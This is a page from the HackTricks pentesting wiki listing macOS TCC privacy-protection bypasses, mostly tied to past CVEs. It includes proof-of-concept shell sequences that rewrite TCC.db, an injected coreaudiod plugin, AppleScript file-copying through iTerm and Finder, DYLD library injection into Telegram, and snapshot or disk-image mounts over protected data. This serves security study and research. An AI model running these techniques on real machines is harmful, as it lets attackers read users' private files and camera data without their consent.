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{% endhint %} {% endhint %} {% endhint %} ## By functionality ### Write Bypass This is not a bypass, it's just how TCC works: **It doesn't protect from writing**. If Terminal **doesn't have access to read the Desktop of a user it can still write into it**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % echo asd > Desktop/lalala username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted username@hostname ~ % cat Desktop/lalala asd ``` The **extended attribute `com.apple.macl`** is added to the new **file** to give the **creators app** access to read it. ### TCC ClickJacking It's possible to **put a window over the TCC prompt** to make the user **accept** it without noticing. You can find a PoC in [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**.**

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

### TCC Request by arbitrary name Attacker can **create apps with any name** (e.g. Finder, Google Chrome...) in the **`Info.plist`** and make it request access to some TCC protected location. The user will think that the legit application is the one requesting this access.\ Moreover, it's possible to **remove the legit app from the Dock and put the fake one on it**, so when the user clicks on the fake one (which can use the same icon) it could call the legit one, ask for TCC permissions and execute a malware, making the user believe the legit app requested the access.
More info and PoC in: {% content-ref url="../../../macos-privilege-escalation.md" %} [macos-privilege-escalation.md](../../../macos-privilege-escalation.md) {% endcontent-ref %} ### SSH Bypass By default an access via **SSH used to have "Full Disk Access"**. In order to disable this you need to have it listed but disabled (removing it from the list won't remove those privileges): ![](<../../../../../.gitbook/assets/image (1077).png>) Here you can find examples of how some **malwares have been able to bypass this protection**: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) {% hint style="danger" %} Note that now, in order to be able to enable SSH you need **Full Disk Access** {% endhint %} ### Handle extensions - CVE-2022-26767 The attribute **`com.apple.macl`** is given to files to give a **certain application permissions to read it.** This attribute is set when **drag\&drop** a file over an app, or when a user **double-clicks** a file to open it with the **default application**. Therefore, a user could **register a malicious app** to handle all the extensions and call Launch Services to **open** any file (so the malicious file will be granted access to read it). ### iCloud The entitlement **`com.apple.private.icloud-account-access`** it's possible to communicate with **`com.apple.iCloudHelper`** XPC service which will **provide iCloud tokens**. **iMovie** and **Garageband** had this entitlement and others that allowed. For more **information** about the exploit to **get icloud tokens** from that entitlement check the talk: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) ### kTCCServiceAppleEvents / Automation An app with the **`kTCCServiceAppleEvents`** permission will be able to **control other Apps**. This means that it could be able to **abuse the permissions granted to the other Apps**. For more info about Apple Scripts check: {% content-ref url="macos-apple-scripts.md" %} [macos-apple-scripts.md](macos-apple-scripts.md) {% endcontent-ref %} For example, if an App has **Automation permission over `iTerm`**, for example in this example **`Terminal`** has access over iTerm:
#### Over iTerm Terminal, who doesn't have FDA, can call iTerm, which has it, and use it to perform actions: {% code title="iterm.script" %} ```applescript tell application "iTerm" activate tell current window create tab with default profile end tell tell current session of current window write text "cp ~/Desktop/private.txt /tmp" end tell end tell ``` {% endcode %} ```bash osascript iterm.script ``` #### Over Finder Or if an App has access over Finder, it could a script such as this one: ```applescript set a_user to do shell script "logname" tell application "Finder" set desc to path to home folder set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text end tell do shell script "rm " & POSIX path of (copyFile as alias) ``` ## By App behaviour ### CVE-2020–9934 - TCC The userland **tccd daemon** what using the **`HOME`** **env** variable to access the TCC users database from: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** According to [this Stack Exchange post](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) and because the TCC daemon is running via `launchd` within the current user’s domain, it's possible to **control all environment variables** passed to it.\ Thus, an **attacker could set `$HOME` environment** variable in **`launchctl`** to point to a **controlled** **directory**, **restart** the **TCC** daemon, and then **directly modify the TCC database** to give itself **every TCC entitlement available** without ever prompting the end user.\ PoC: ```bash # reset database just in case (no cheating!) $> tccutil reset All # mimic TCC's directory structure from ~/Library $> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC" # cd into the new directory $> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory $> launchctl setenv HOME /tmp/tccbypass # restart the TCC daemon $> launchctl stop com.apple.tccd && launchctl start com.apple.tccd # print out contents of TCC database and then give Terminal access to Documents $> sqlite3 TCC.db .dump $> sqlite3 TCC.db "INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder', 'com.apple.Terminal', 0, 1, 1, X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003', NULL, NULL, 'UNUSED', NULL, NULL, 1333333333333337);" # list Documents directory without prompting the end user $> ls ~/Documents ``` ### CVE-2021-30761 - Notes Notes had access to TCC protected locations but when a note is created this is **created in a non-protected location**. So, you could ask notes to copy a protected file in a noe (so in a non-protected location) and then access the file:
### CVE-2021-30782 - Translocation The binary `/usr/libexec/lsd` with the library `libsecurity_translocate` had the entitlement `com.apple.private.nullfs_allow` which allowed it to crate **nullfs** mount and had the entitlement `com.apple.private.tcc.allow` with **`kTCCServiceSystemPolicyAllFiles`** to access every file. It was possible to add the quarantine attribute to "Library", call the **`com.apple.security.translocation`** XPC service and then it would map Library to **`$TMPDIR/AppTranslocation/d/d/Library`** where all the documents inside Library could be **accessed**. ### CVE-2023-38571 - Music & TV **`Music`** has an interesting feature: When it's running, it will **import** the files dropped to **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** into the user's "media library". Moreover, it calls something like: **`rename(a, b);`** where `a` and `b` are: * `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` * `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` This **`rename(a, b);`** bevabiour is vulnerable to a **Race Condition**, as it's possible to put inside the `Automatically Add to Music.localized` folder a fake **TCC.db** file and then when the new forder(b) is created to copy the file, delete it, and point it to **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE\_SQLLOG\_DIR - CVE-2023-32422 If **`SQLITE_SQLLOG_DIR="path/folder"`** basically means that **any open db is copied to that path**. In this CVE this control was abused to **write** inside a **SQLite database** that is going to be **open by a process with FDA the TCC database**, and then abuse **`SQLITE_SQLLOG_DIR`** with a **symlink in the filename** so when that database is **open**, the user **TCC.db is overwritten** with the opened one.\ **More info** [**in the writeup**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **and**[ **in the talk**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). ### **SQLITE\_AUTO\_TRACE** If the environment variable **`SQLITE_AUTO_TRACE`** is set, the library **`libsqlite3.dylib`** will start **logging** all the SQL queries. Many applications used this library, so it was possible to log all their SQLite queries. Several Apple applications used this library to access TCC protected information. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407 This **env variable is used by the `Metal` framework** which is a dependency to various programs, most notably `Music`, which has FDA. Setting the following: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. If `path` is a valid directory, the bug will trigger and we can use `fs_usage` to see what is going on in the program: * a file will be `open()`ed, called `path/.dat.nosyncXXXX.XXXXXX` (X is random) * one or more `write()`s will write the contents to the file (we do not control this) * `path/.dat.nosyncXXXX.XXXXXX` will be `renamed()`d to `path/name` It's a temporary file write, followed by a **`rename(old, new)`** **which is not secure.** It's not secure because it has to **resolve the old and new paths separately**, which can take some time and can be vulenrable to a Race Condition. For more information you can check out the `xnu` function `renameat_internal()`. {% hint style="danger" %} So, basically, if a privileged process is renaming from a folder you control, you could win a RCE and make it access a different file or, like in this CVE, open the file the privileged app created and store a FD. If the rename access a folder you control, while you have modified the source file or has a FD to it, you change the destination file (or folder) to point a symlink, so you can write whenever you want. {% endhint %} This was the attack in the CVE: For example, to overwrite the user's `TCC.db`, we can: * create `/Users/hacker/ourlink` to point to `/Users/hacker/Library/Application Support/com.apple.TCC/` * create the directory `/Users/hacker/tmp/` * set `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` * trigger the bug by running `Music` with this env var * catch the `open()` of `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X is random) * here we also `open()` this file for writing, and hold on to the file descriptor * atomically switch `/Users/hacker/tmp` with `/Users/hacker/ourlink` **in a loop** * we do this to maximize our chances of succeeding as the race window is pretty slim, but losing the race has negligible downside * wait a bit * test if we got lucky * if not, run again from the top More info in [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html) {% hint style="danger" %} Now, if you try to use the env variable `MTL_DUMP_PIPELINES_TO_JSON_FILE` apps won't launch {% endhint %} ### Apple Remote Desktop As root you could enable this service and the **ARD agent will have full disk access** which could then be abused by a user to make it copy a new **TCC user database**. ## By **NFSHomeDirectory** TCC uses a database in the user's HOME folder to control access to resources specific to the user at **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\ Therefore, if the user manages to restart TCC with a $HOME env variable pointing to a **different folder**, the user could create a new TCC database in **/Library/Application Support/com.apple.TCC/TCC.db** and trick TCC to grant any TCC permission to any app. {% hint style="success" %} Note that Apple uses the setting stored within the user's profile in the **`NFSHomeDirectory`** attribute for the **value of `$HOME`**, so if you compromise an application with permissions to modify this value (**`kTCCServiceSystemPolicySysAdminFiles`**), you can **weaponize** this option with a TCC bypass. {% endhint %} ### [CVE-2020–9934 - TCC](./#c19b) ### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1) ### CVE-2021-30970 - Powerdir The **first POC** uses [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) and [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) to modify the **HOME** folder of the user. 1. Get a _csreq_ blob for the target app. 2. Plant a fake _TCC.db_ file with required access and the _csreq_ blob. 3. Export the user’s Directory Services entry with [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/). 4. Modify the Directory Services entry to change the user’s home directory. 5. Import the modified Directory Services entry with [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/). 6. Stop the user’s _tccd_ and reboot the process. The second POC used **`/usr/libexec/configd`** which had `com.apple.private.tcc.allow` with the value `kTCCServiceSystemPolicySysAdminFiles`.\ It was possible to run **`configd`** with the **`-t`** option, an attacker could specify a **custom Bundle to load**. Therefore, the exploit **replaces** the **`dsexport`** and **`dsimport`** method of changing the user’s home directory with a **`configd` code injection**. For more info check the [**original report**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/). ## By process injection There are different techniques to inject code inside a process and abuse its TCC privileges: {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} Moreover, the most common process injection to bypass TCC found is via **plugins (load library)**.\ Plugins are extra code usually in the form of libraries or plist, that will be **loaded by the main application** and will execute under its context. Therefore, if the main application had access to TCC restricted files (via granted permissions or entitlements), the **custom code will also have it**. ### CVE-2020-27937 - Directory Utility The application `/System/Library/CoreServices/Applications/Directory Utility.app` had the entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, loaded plugins with **`.daplug`** extension and **didn't have the hardened** runtime. In order to weaponize this CVE, the **`NFSHomeDirectory`** is **changed** (abusing the previous entitlement) in order to be able to **take over the users TCC databas**e to bypass TCC. For more info check the [**original report**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). ### CVE-2020-29621 - Coreaudiod The binary **`/usr/sbin/coreaudiod`** had the entitlements `com.apple.security.cs.disable-library-validation` and `com.apple.private.tcc.manager`. The first **allowing code injection** and second one giving it access to **manage TCC**. This binary allowed to load **third party plug-ins** from the folder `/Library/Audio/Plug-Ins/HAL`. Therefore, it was possible to **load a plugin and abuse the TCC permissions** with this PoC: ```objectivec #import #import extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess); void add_tcc_entry() { CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles"); CFStringRef bundleID = CFSTR("com.apple.Terminal"); CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple"); SecRequirementRef requirement = NULL; SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement); CFDataRef requirementData = NULL; SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData); TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue); } __attribute__((constructor)) static void constructor(int argc, const char **argv) { add_tcc_entry(); NSLog(@"[+] Exploitation finished..."); exit(0); ``` For more info check the [**original report**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). ### Device Abstraction Layer (DAL) Plug-Ins System applications that open camera stream via Core Media I/O (apps with **`kTCCServiceCamera`**) load **in the process these plugins** located in `/Library/CoreMediaIO/Plug-Ins/DAL` (not SIP restricted). Just storing in there a library with the common **constructor** will work to **inject code**. Several Apple applications were vulnerable to this. ### Firefox The Firefox application had the `com.apple.security.cs.disable-library-validation` and `com.apple.security.cs.allow-dyld-environment-variables` entitlements: ```xml codesign -d --entitlements :- /Applications/Firefox.app Executable=/Applications/Firefox.app/Contents/MacOS/firefox com.apple.security.cs.allow-unsigned-executable-memory com.apple.security.cs.disable-library-validation com.apple.security.cs.allow-dyld-environment-variables com.apple.security.device.audio-input com.apple.security.device.camera com.apple.security.personal-information.location com.apple.security.smartcard ``` Fore more info about how to easily exploit this [**check the original report**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 The binary `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` had the entitlements **`com.apple.private.tcc.allow`** and **`com.apple.security.get-task-allow`**, which allowed to inject code inside the process and use the TCC privileges. ### CVE-2023-26818 - Telegram Telegram had the entitlements **`com.apple.security.cs.allow-dyld-environment-variables`** and **`com.apple.security.cs.disable-library-validation`**, so it was possible to abuse it to **get access to its permissions** such recording with the camera. You can [**find the payload in the writeup**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). Note how to use the env variable to load a library a **custom plist** was created to inject this library and **`launchctl`** was used to launch it: ```xml Label com.telegram.launcher RunAtLoad EnvironmentVariables DYLD_INSERT_LIBRARIES /tmp/telegram.dylib ProgramArguments /Applications/Telegram.app/Contents/MacOS/Telegram StandardOutPath /tmp/telegram.log StandardErrorPath /tmp/telegram.log ``` ```bash launchctl load com.telegram.launcher.plist ``` ## By open invocations It's possible to invoke **`open`** even while sandboxed ### Terminal Scripts It's quiet common to give terminal **Full Disk Access (FDA)**, at least in computers used by tech people. And it's possible to invoke **`.terminal`** scripts using with it. **`.terminal`** scripts are plist files such as this one with the command to execute in the **`CommandString`** key: ```xml CommandString cp ~/Desktop/private.txt /tmp/; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings ``` An application could write a terminal script in a location such as /tmp and launch it with a come such as: ```objectivec // Write plist in /tmp/tcc.terminal [...] NSTask *task = [[NSTask alloc] init]; NSString * exploit_location = @"/tmp/tcc.terminal"; task.launchPath = @"/usr/bin/open"; task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` ## By mounting ### CVE-2020-9771 - mount\_apfs TCC bypass and privilege escalation **Any user** (even unprivileged ones) can create and mount a time machine snapshot an **access ALL the files** of that snapshot.\ The **only privileged** needed is for the application used (like `Terminal`) to have **Full Disk Access** (FDA) access (`kTCCServiceSystemPolicyAllfiles`) which need to be granted by an admin. {% code overflow="wrap" %} ```bash # Create snapshot tmutil localsnapshot # List snapshots tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local # Generate folder to mount it cd /tmp # I didn it from this folder mkdir /tmp/snap # Mount it, "noowners" will mount the folder so the current user can access everything /sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap # Access it ls /tmp/snap/Users/admin_user # This will work ``` {% endcode %} A more detailed explanation can be [**found in the original report**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.** ### CVE-2021-1784 & CVE-2021-30808 - Mount over TCC file Even if TCC DB file is protected, It was possible to **mount over the directory** a new TCC.db file: {% code overflow="wrap" %} ```bash # CVE-2021-1784 ## Mount over Library/Application\ Support/com.apple.TCC hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg # CVE-2021-1784 ## Mount over ~/Library hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg ``` {% endcode %} ```python # This was the python function to create the dmg def create_dmg(): os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null") os.system("mkdir /tmp/mnt") os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null") os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` Check the **full exploit** in the [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/). ### asr The tool **`/usr/sbin/asr`** allowed to copy the whole disk and mount it in another place bypassing TCC protections. ### Location Services There is a third TCC database in **`/var/db/locationd/clients.plist`** to indicate clients allowed to **access location services**.\ The folder **`/var/db/locationd/` wasn't protected from DMG mounting** so it was possible to mount our own plist. ## By startup apps {% content-ref url="../../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md) {% endcontent-ref %} ## By grep In several occasions files will store sensitive information like emails, phone numbers, messages... in non protected locations (which count as a vulnerability in Apple).
## Synthetic Clicks This doesn't work anymore, but it [**did in the past**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
Another way using [**CoreGraphics events**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
## Reference * [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) * [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) * [**20+ Ways to Bypass Your macOS Privacy Mechanisms**](https://www.youtube.com/watch?v=W9GxnP8c8FU) * [**Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms**](https://www.youtube.com/watch?v=a9hsxPdRxsY) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}